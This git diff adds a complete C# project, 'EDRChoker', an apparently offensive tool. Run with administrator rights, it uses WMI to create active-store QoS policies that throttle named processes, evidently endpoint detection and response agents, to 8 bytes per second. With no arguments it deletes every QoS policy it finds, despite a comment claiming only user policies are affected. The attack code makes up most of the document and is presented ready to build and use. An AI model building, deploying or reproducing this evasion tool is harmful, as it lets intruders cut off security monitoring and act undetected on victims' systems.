diff --git a/App.config b/App.config
new file mode 100644
index 0000000..193aecc
--- /dev/null
+++ b/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/EDRChoker.csproj b/EDRChoker.csproj
new file mode 100644
index 0000000..e723a09
--- /dev/null
+++ b/EDRChoker.csproj
@@ -0,0 +1,55 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {C9F67410-04D8-4DBC-BFFE-23996A9986C5}
+ Exe
+ EDRChoker
+ EDRChoker
+ v4.8
+ 512
+ true
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/EDRChoker.sln b/EDRChoker.sln
new file mode 100644
index 0000000..f9a7d07
--- /dev/null
+++ b/EDRChoker.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.13.35825.156 d17.13
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EDRChoker", "EDRChoker.csproj", "{C9F67410-04D8-4DBC-BFFE-23996A9986C5}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {C9F67410-04D8-4DBC-BFFE-23996A9986C5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {C9F67410-04D8-4DBC-BFFE-23996A9986C5}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {C9F67410-04D8-4DBC-BFFE-23996A9986C5}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {C9F67410-04D8-4DBC-BFFE-23996A9986C5}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {8A4A37A4-F054-4528-9933-D01DFFCD09DF}
+ EndGlobalSection
+EndGlobal
diff --git a/Program.cs b/Program.cs
new file mode 100644
index 0000000..996308a
--- /dev/null
+++ b/Program.cs
@@ -0,0 +1,141 @@
+using System;
+using System.Management;
+using System.IO;
+using EDRChoker;
+
+namespace QosPolicyExample
+{
+ class Program
+ {
+ static void Main(string[] args)
+ {
+ Utils utils = new Utils();
+ utils.ShowBanner();
+ // Verify Administrative permissions
+ if (!utils.IsRunningAsAdmin())
+ {
+ Console.WriteLine("ERROR: Elevated privileges required.");
+ return;
+ }
+ if (args.Length > 0)
+ {
+ utils.ReadCleanFile(args[0]);
+ if (utils.procName.Length == 0)
+ {
+ Console.WriteLine("No valid process names found in the file.");
+ return;
+ }
+ foreach (string proc in utils.procName)
+ {
+ Console.WriteLine($"THROTTLING! Process: {proc}");
+ CreateThrottleCurlPolicyPureWmi(proc);
+ }
+ }
+ else
+ {
+ //clear
+ Console.WriteLine("DO CLEAR...\n");
+ RemoveAllThrottleCurlPoliciesPureWmi();
+ }
+
+ //end main
+ }
+
+
+
+
+ static void CreateThrottleCurlPolicyPureWmi(string procName)
+ {
+ try
+ {
+ var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
+ scope.Connect();
+
+ var managementPath = new ManagementPath("MSFT_NetQosPolicySettingData");
+ var policyClass = new ManagementClass(scope, managementPath, null);
+
+ // Construct a raw, detached memory object mapping the exact schema fields
+ ManagementObject newPolicy = policyClass.CreateInstance();
+
+ newPolicy["Owner"] = 1;
+
+ string guid = Guid.NewGuid().ToString();
+ string policyName = Path.GetRandomFileName().Replace(".", "").Substring(0, 8);
+ newPolicy["Name"] = policyName;
+
+ // Use this to force the policy to be treated as a new, unique instance in the active store without conflicts
+ // this will apply the policy directly to the active store. Affect immediately
+ newPolicy["InstanceID"] = $"{guid}\\{policyName}\\ActiveStore";
+
+ newPolicy["AppPathNameMatchCondition"] = procName;
+ newPolicy["IPProtocolMatchCondition"] = 3U; // 3 = Both TCP/UDP (uint32)
+ newPolicy["NetworkProfile"] = 0U; // 0 = All profiles (uint32)
+
+ // 3. Throttle Actions (Matching your exact MOF structure: uint64 in Bytes per second)
+ // 8 Bits/sec
+ newPolicy["ThrottleRateAction"] = 8UL;
+
+ var putOptions = new PutOptions
+ {
+ Type = PutType.CreateOnly
+ };
+
+ newPolicy.Put(putOptions);
+ Console.WriteLine($"SUCCESS! Policy {policyName} registered");
+ }
+ catch (ManagementException ex)
+ {
+ Console.WriteLine($" Message : {ex.Message}");
+ Console.WriteLine($" ErrorCode : {ex.ErrorCode}");
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"\nUnexpected error: {ex.Message}");
+ }
+ }
+ //
+ static void RemoveAllThrottleCurlPoliciesPureWmi()
+ {
+ try
+ {
+ var scope = new ManagementScope(@"\\.\ROOT\StandardCimv2");
+ scope.Connect();
+
+ // Query only user-created policies (Owner = 1) to protect system defaults
+ var query = new ObjectQuery("SELECT * FROM MSFT_NetQosPolicySettingData");
+
+ using (var searcher = new ManagementObjectSearcher(scope, query))
+ using (var queryCollection = searcher.Get())
+ {
+ if (queryCollection.Count == 0)
+ {
+ Console.WriteLine("No custom QoS policies found to remove.");
+ return;
+ }
+
+ foreach (ManagementObject policy in queryCollection)
+ {
+ string policyName = policy["Name"]?.ToString() ?? "Unknown";
+ Console.WriteLine($"REMOVING... {policyName}");
+ // Delete the instance from the WMI repository
+ policy.Delete();
+
+ Console.WriteLine($"REMOVED! {policyName}");
+ }
+ }
+ }
+ catch (ManagementException ex)
+ {
+ Console.WriteLine($"WMI Error: {ex.Message}");
+ Console.WriteLine($"ErrorCode: {ex.ErrorCode}");
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"Unexpected error: {ex.Message}");
+ }
+ }
+
+ //
+
+ }
+}
diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..152a962
--- /dev/null
+++ b/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("EDRChoker")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("EDRChoker")]
+[assembly: AssemblyCopyright("Copyright © 2026")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("c9f67410-04d8-4dbc-bffe-23996a9986c5")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/Utils.cs b/Utils.cs
new file mode 100644
index 0000000..ef4d99f
--- /dev/null
+++ b/Utils.cs
@@ -0,0 +1,55 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.IO;
+using System.Security.Principal;
+
+namespace EDRChoker
+{
+ class Utils
+ {
+ public string[] procName;
+
+ public void ReadCleanFile(string filePath)
+ {
+ try
+ {
+ procName = File.ReadLines(filePath)
+ .Select(line => line.Trim())
+ .Where(trimmedLine => !string.IsNullOrEmpty(trimmedLine))
+ .ToArray();
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine($"File error: {ex.Message}");
+ procName = Array.Empty();
+ }
+ }
+ public void ShowBanner()
+ {
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.WriteLine(@" ___ ___ ___ ___ _ _ ___ _ _____ ___ ");
+ Console.WriteLine(@" | __| \| _ \/ __| |_| |/ _ \| |/ / __| _ \");
+ Console.WriteLine(@" | _|| |) | / (__| _ | (_) | ' <| _|| /");
+ Console.WriteLine(@" |___|___/|_|_\\___|_| |_|\___/|_|\_\___|_|_\");
+
+ Console.ForegroundColor = ConsoleColor.Gray;
+ Console.WriteLine("\n EDRChoker: You can pass, but just a little");
+
+ // Made bright using ConsoleColor.White
+ Console.ForegroundColor = ConsoleColor.White;
+ Console.WriteLine(" Two Seven One Three: x.com/TwoSevenOneT\n");
+
+ Console.ResetColor();
+ }
+
+ public bool IsRunningAsAdmin()
+ {
+ using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
+ {
+ WindowsPrincipal principal = new WindowsPrincipal(identity);
+ return principal.IsInRole(WindowsBuiltInRole.Administrator);
+ }
+ }
+ }
+}